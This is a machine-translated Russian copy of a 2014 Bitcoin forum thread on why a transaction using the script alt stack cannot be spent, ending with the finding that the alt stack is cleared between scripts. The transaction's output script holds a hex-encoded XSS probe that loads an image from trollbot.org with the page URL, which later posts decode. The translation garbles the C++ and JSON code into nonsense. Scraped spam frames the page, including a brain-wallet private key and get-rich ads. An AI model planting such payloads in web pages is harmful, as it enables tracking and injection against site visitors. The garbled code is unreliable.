Вернуться   Биткоин Форум > Разработка и Техническое Обсуждение
19 июля 2014, 10:17:43 PM   # 1
 
 
Сообщения: 247
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Взлом Биткоин адресов.
500 Биткоинов взломаны в "мозговом кошельке" с паролем "bitcoin is awesome"
Адрес кошелька: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
Приватный ключ: 5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e
подробнее...


Всем кто хочет заработать Биткоины без вложений - рекомендую сайт http://bitcoin-zarabotat.ru
https://blockchain.info/tx/4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af имеет следующий вывод:
Код:
OP_ADD OP_ADD OP_13 OP_EQUAL
OP_NOTIF OP_RETURN OP_ENDIF
OP_FROMALTSTACK
203c73637269707420747970653d27746578742f6a617661736372697074273e646f63756d656e742e777269746528273c696d67207372633d27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d626c6f636b636861696e2d6465746563746f722e7068703f687265663d27202b206c6f636174696f6e2e68726566202b2027273e27293b3c2f7363726970743e20
OP_DROP
Я думаю, что этот сценарий должен быть в состоянии провести его:
Код:
OP_TRUE OP_TOALTSTACK
2 5 6

Ввод сценариев на http://webbtc.com/script кажется, согласны со мной. Я образовал эту сделку, чтобы провести его и другие кто-израсходуют, но это быть отвергнутым Элигий (Несмотря на то, включая подходящую плату TX).
Здесь в исходном формате
Код:
01000000026086d0c41c0cc79bbf888a74b324cd4c5f1111413899d6fb3daf62a6cb737dce010000000151ffffffffaf73ff160d0434f1d8da871552ba06b1c24af1e91b494b2f4cbe25457eb973430000000005516b525556ffffffff0100380200000000001976a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac00000000
И в JSON кодирования Bitcoin сердечника
Код:
{
    "TXID": "30684e2958af4b5c87b316d54b1a1f011883d1287f3aea6ff2d058b179f1dae9",
    "версия": 1,
    "Locktime": 0,
    "Vin": [
        {
            "TXID": "ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660",
            "Vout": 1,
            "scriptSig": {
                "как м": "1",
                "наговор": "51"
            },
            "последовательность": 4294967295
        },
        {
            "TXID": "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af",
            "Vout": 0,
            "scriptSig": {
                "как м": "1 OP_TOALTSTACK 2 5 6",
                "наговор": "516b525556"
            },
            "последовательность": 4294967295
        }
    ],
    "Vout": [
        {
            "стоимость": 0.00145408,
            "N": 0,
            "scriptPubKey": {
                "как м": "OP_DUP OP_HASH160 cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f2 OP_EQUALVERIFY OP_CHECKSIG",
                "наговор": "76a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac",
                "reqSigs": 1,
                "тип": "pubkeyhash",
                "адреса": [
                    "1KX1Xcnw3Ugzka9DxbCqT8iD73iPvpcPgu"
                ]
            }
        }
    ]
}

действительным или недействительным Является ли эта сделка? Если это действительно, почему Элигий отклонить его? Есть ли бассейн, который будет принимать? Если это инвалид, почему?
TIMS сейчас офлайн Пожаловаться на TIMS   Ответить с цитированием Мультицитирование сообщения от TIMS Быстрый ответ на сообщение TIMS


Как заработать Биткоины?
Без вложений. Не майнинг.


20 июля 2014, 1:09:02 AM   # 2
 
 
Сообщения: 2870
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Получил 1806 Биткоинов
Реальная история.





Я думаю, что это действует. Попробуйте платить более высокую плату.
theymos сейчас офлайн Пожаловаться на theymos   Ответить с цитированием Мультицитирование сообщения от theymos Быстрый ответ на сообщение theymos

20 июля 2014, 1:16:12 AM   # 3
 
 
Сообщения: 247
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Я думаю, что это действует. Попробуйте платить более высокую плату.

Это не так: даже если я уменьшить выход на 0, так что плата 0,00153600 BTC, Элигии отклоняют его с той же общей ошибкой:

Код:
Попытка отправить ...
Массив (3) {
  ["результат"знак равно>
  НОЛЬ
  ["ошибка"знак равно>
  Массив (2) {
    ["код"знак равно>
    Int (-22)
    ["сообщение"знак равно>
    Строка (11) "TX отвергнута"
  }
  ["Я бы"знак равно>
  Строка (1) "1"
}
Ответ = 0
TIMS сейчас офлайн Пожаловаться на TIMS   Ответить с цитированием Мультицитирование сообщения от TIMS Быстрый ответ на сообщение TIMS

20 июля 2014, 1:25:55 AM   # 4
 
 
Сообщения: 120
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Blockchain.info говорит: «Не удалось декодировать выходной адрес» для выходного адреса, который, по моему опыту, это означает, что выходной адрес не является адресом, который имеет соответствующий закрытый ключ, то есть он не расходуемого.
dontCAREhair сейчас офлайн Пожаловаться на dontCAREhair   Ответить с цитированием Мультицитирование сообщения от dontCAREhair Быстрый ответ на сообщение dontCAREhair

20 июля 2014, 2:56:03 AM   # 5
 
 
Сообщения: 141
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

OP вы создали ТХ, что вы сейчас пытаетесь потратить? Testnet лучше, чтобы помочь вам избежать потери BTC
раппорт сейчас офлайн Пожаловаться на раппорт   Ответить с цитированием Мультицитирование сообщения от раппорт Быстрый ответ на сообщение раппорт

20 июля 2014, 3:09:21 AM   # 6
 
 
Сообщения: 1218
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Blockchain.info говорит: «Не удалось декодировать выходной адрес» для выходного адреса, который, по моему опыту, это означает, что выходной адрес не является адресом, который имеет соответствующий закрытый ключ, то есть он не расходуемого.

Там нет такого понятия, как выходной адрес. Выходы скрипты и blockchain.info довольно плохо декодирования всех, кроме самых основных и стандартных сценариев.
DeathAndTaxes сейчас офлайн Пожаловаться на DeathAndTaxes   Ответить с цитированием Мультицитирование сообщения от DeathAndTaxes Быстрый ответ на сообщение DeathAndTaxes

20 июля 2014, 5:06:00 AM   # 7
 
 
Сообщения: 1260
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Элигий alerady содержит расходы ТХ в памяти бассейне
Дважды расходы попытка вызывает родовую -22 ошибку

UPDATE: не подтверждено.
Элигий (или веб-формы или 68.168.105.168:8333) не принимает эту сделку расходов.
amaclin сейчас офлайн Пожаловаться на amaclin   Ответить с цитированием Мультицитирование сообщения от amaclin Быстрый ответ на сообщение amaclin

20 июля 2014, 12:31:52 PM   # 8
 
 
Сообщения: 247
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

OP вы создали ТХ, что вы сейчас пытаетесь потратить? Testnet лучше, чтобы помочь вам избежать потери BTC
Я знаю Testnet, хотя я никогда не потрудился сделать что-нибудь с ним.
Я создал ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660, который является простым кто-израсходуют скрипт (это нулевая длина) стоит только 0,0001 см этой темы говорить об этом:
После просмотра этого остается неизрасходованной в течение нескольких дней, я задавался вопросом, есть ли другой кто-проводит там, и побежал через этот другой ТХ, что я пытаюсь провести, стоит ~ 1,4 МВТС = ~ $ 1. Я не создавал, и я понимаю, что я провожу больше времени, чем я на самом деле получить в награду за их тратить на себя. Просто делать это из любопытства.
Элигий alerady содержит расходы ТХ в памяти бассейне
Дважды расходы попытка вызывает родовую -22 ошибку

UPDATE: не подтверждено.
Элигий (или веб-формы или 68.168.105.168:8333) не принимает эту сделку расходов.
Нет, не так просто: Элигии бы ввели, что в blockchain к настоящему времени, но оба txouts еще неизрасходованный.

Кто-нибудь знает способ иметь Bitcoin ядро ​​попытаться проверить сделку? Может быть, валидатор Eligius в не правильно реализовать стек альт.
TIMS сейчас офлайн Пожаловаться на TIMS   Ответить с цитированием Мультицитирование сообщения от TIMS Быстрый ответ на сообщение TIMS

20 июля 2014, 4:02:18 PM   # 9
 
 
Сообщения: 1218
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Элигий имеет некоторый анти~d-спам правило так, вместо того, чтобы пытаться создать выход нулевого значения, почему бы не добавить второй входы, так что все выходы выше порог пыли и TXN имеет стандартную мин плату.
DeathAndTaxes сейчас офлайн Пожаловаться на DeathAndTaxes   Ответить с цитированием Мультицитирование сообщения от DeathAndTaxes Быстрый ответ на сообщение DeathAndTaxes

20 июля 2014, 6:47:21 PM   # 10
 
 
Сообщения: 247
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Элигий имеет некоторый анти~d-спам правило так, вместо того, чтобы пытаться создать выход нулевого значения, почему бы не добавить второй входы, так что все выходы выше порог пыли и TXN имеет стандартную мин плату.
Я пробовал различные суммы выходную / платы (но без добавления дополнительного входа), включая гонорары 0.00008192, 0.0001, 0.0002 и 0.001536 (весь объем). Я уверен, что я встретил какие-либо требования платы ОЙ и пыли Элигии могут иметь, в то числе всего общественных правил в http://eligius.st/~gateway/faq-page.

Я был один, который представил https://blockchain.info/tx/ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660 чтобы Eligius, который имеет меньший общий вход, чем эта сделка, и был принят без проблем с 0,0001 платой.

Кроме того, эта сделка очень мала, всего 132 байт, так что все, что имеет размер как фактор должен ранжировать это очень выгодно.
TIMS сейчас офлайн Пожаловаться на TIMS   Ответить с цитированием Мультицитирование сообщения от TIMS Быстрый ответ на сообщение TIMS

21 июля 2014, 4:45:33 PM   # 11
 
 
Сообщения: 1218
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

TIMS,

Я присмотрелся на сделку, и я не могу найти причину, почему он отвергнут Eligius. К сожалению bitcoind не хватает хороших инструментов для проверки транзакций. Оптимально decoderawtransaction & decodescript будет возвращать параметры IsStandard и IsValid, но они этого не делают. Вы можете обратиться к Eligius бассейн прямо.
DeathAndTaxes сейчас офлайн Пожаловаться на DeathAndTaxes   Ответить с цитированием Мультицитирование сообщения от DeathAndTaxes Быстрый ответ на сообщение DeathAndTaxes

21 июля 2014, 5:51:12 PM   # 12
 
 
Сообщения: 1260
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

котировка
Я присмотрелся на сделку, и я не могу найти причину, почему он отвергнут Eligius. К сожалению bitcoind не хватает хороших инструментов для проверки транзакций. Оптимально decoderawtransaction & decodescript будет возвращать параметры IsStandard и IsValid, но они этого не делают. Вы можете обратиться к Eligius бассейн прямо.

Там нет прямого подключения к Eligius из Интернета. Мы можем достичь только узел затвора.
68.168.105.168:8333 (я считаю, что это ворота узел) также игнорирует выкуп TX.

Можно скачать, компилировать и отлаживать версию Луки Bitcoin
https://gitorious.org/bitcoin/luke-jr-bitcoin/source/5f8e7180c4b34d5f46c61a6dd2242f4249b5f79a:
amaclin сейчас офлайн Пожаловаться на amaclin   Ответить с цитированием Мультицитирование сообщения от amaclin Быстрый ответ на сообщение amaclin

21 июля 2014, 10:00:17 PM   # 13
 
 
Сообщений: 13
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

В коде связанной в предыдущем посте, я нашел это (https://gitorious.org/bitcoin/luke-jr-bitcoin/source/5f8e7180c4b34d5f46c61a6dd2242f4249b5f79a:src/script.cpp#L453):

Код:
                случай OP_FROMALTSTACK:
                {
                    если (altstack.size () < 1)
                        вернуться ложным;
                    stack.push_back (altstacktop (-1));
                    popstack (altstack);
                }
                ломать;

// Изменить: Wrong
Yoghurt114 сейчас офлайн Пожаловаться на Yoghurt114   Ответить с цитированием Мультицитирование сообщения от Yoghurt114 Быстрый ответ на сообщение Yoghurt114

22 июля 2014, 10:38:03 PM   # 14
 
 
Сообщения: 1148
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Сделка имеет следующие метаданные:
<Тип сценария = «текст / JavaScript»>document.write (»http://www.trollbot.org/xss-blockchain-detector.php?href='+ Location.href + '\'>«);
Интересно...
Taras сейчас офлайн Пожаловаться на Taras   Ответить с цитированием Мультицитирование сообщения от Тарас Быстрый ответ на сообщение Тарас

22 июля 2014, 10:53:34 PM   # 15
 
 
Сообщения: 247
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Сделка имеет следующие метаданные:
<Тип сценария = «текст / JavaScript»>document.write (»http://www.trollbot.org/xss-blockchain-detector.php?href='+ Location.href + '\'>«);
Интересно...
Ага, этот сайт (Который кажется безопасным для меня) объясняет себя:
котировка
Поскольку blockchain для транзакционных данных, выше строка [сценарий тег] не должен ничего делать. Если этот текст вставляется в страницу, не избежать, то есть потенциально проблема XSS. Так как некоторые сайты, которые позволяют просматривать blockchain также бумажники, последствие безопасности дырки, как это может быть очень большим.
TIMS сейчас офлайн Пожаловаться на TIMS   Ответить с цитированием Мультицитирование сообщения от TIMS Быстрый ответ на сообщение TIMS

23 июля 2014, 5:18:40 PM   # 16
 
 
Сообщения: 1260
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Код:
BOOL VerifyScript (Const CScript& scriptSig, Const CScript& scriptPubKey, Const CTransaction& txTo, неподписанный INT NIN,
                  неподписанных INT флаги, внутр nHashType)
{
    вектор<вектор<неподписанные символ> > стек, stackCopy;
    если (! EvalScript (стек, scriptSig, txTo, Нины, флаги, nHashType))
        вернуться ложным;
    если (флаги & SCRIPT_VERIFY_P2SH)
        stackCopy = стек;
    если (! EvalScript (стек, scriptPubKey, txTo, Нины, флаги, nHashType))
        вернуться ложным;

Оценка scriptSig а также scriptPubKey иметь дело с тем же стеком (конечно, первый один толкает, второй проверяет)
Но они используют местную altStack для расчетов !!!
Таким образом, невозможно нажать значение с scriptSig к altStack и вытолкнуть его позже при обработке scriptPubKey.

Этот выход unspendable. Монеты потеряли.
amaclin сейчас офлайн Пожаловаться на amaclin   Ответить с цитированием Мультицитирование сообщения от amaclin Быстрый ответ на сообщение amaclin

24 июля 2014, 7:30:51 AM   # 17
 
 
Сообщения: 141
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Хм вы имеете в виду OP_TOALTSTACK сломана и не должны использоваться?
раппорт сейчас офлайн Пожаловаться на раппорт   Ответить с цитированием Мультицитирование сообщения от раппорт Быстрый ответ на сообщение раппорт

24 июля 2014, 7:59:27 AM   # 18
 
 
Сообщения: 1260
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

котировка
Хм вы имеете в виду OP_TOALTSTACK сломана и не должны использоваться?

Это не сломано. Он может быть использован в scriptSig и scriptPubKey для хранения местный значения во время оценки.
Но после оценки scriptSig содержимого altstack очищается.
Единственный способ передать значения из scriptSig в scriptPubKey является стек не altstack.

Я не вижу никаких оснований для изменения или даже думать об изменении этого поведения.
И я не вижу никаких причин, чтобы использовать altstack прямо сейчас.
amaclin сейчас офлайн Пожаловаться на amaclin   Ответить с цитированием Мультицитирование сообщения от amaclin Быстрый ответ на сообщение amaclin

25 июля 2014, 8:26:30 AM   # 19
 
 
Сообщения: 141
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

Хорошее объяснение, спасибо!
PS Я думаю, что ваш английский хорошо и лучше, чем то, что вы, вероятно, думаете,
раппорт сейчас офлайн Пожаловаться на раппорт   Ответить с цитированием Мультицитирование сообщения от раппорт Быстрый ответ на сообщение раппорт

25 июля 2014, 8:12:57 PM   # 20
 
 
Сообщения: 252
Цитировать по имени
цитировать ответ
по умолчанию Re: Является ли эта сделка расходуемого?

может быть, его о сборах?
poisenrang сейчас офлайн Пожаловаться на poisenrang   Ответить с цитированием Мультицитирование сообщения от poisenrang Быстрый ответ на сообщение poisenrang



Как заработать Биткоины?

Bitcoin Wallet * Portefeuille Bitcoin * Monedero Bitcoin * Carteira Bitcoin * Portafoglio Bitcoin * Bitcoin Cüzdan * 比特币钱包

bitcoin-zarabotat.ru
Почта для связи: bitcoin-zarabotat.ru@yandex.ru

3HmAQ9FkRFk6HZGuwExYxL62y7C1B9MwPW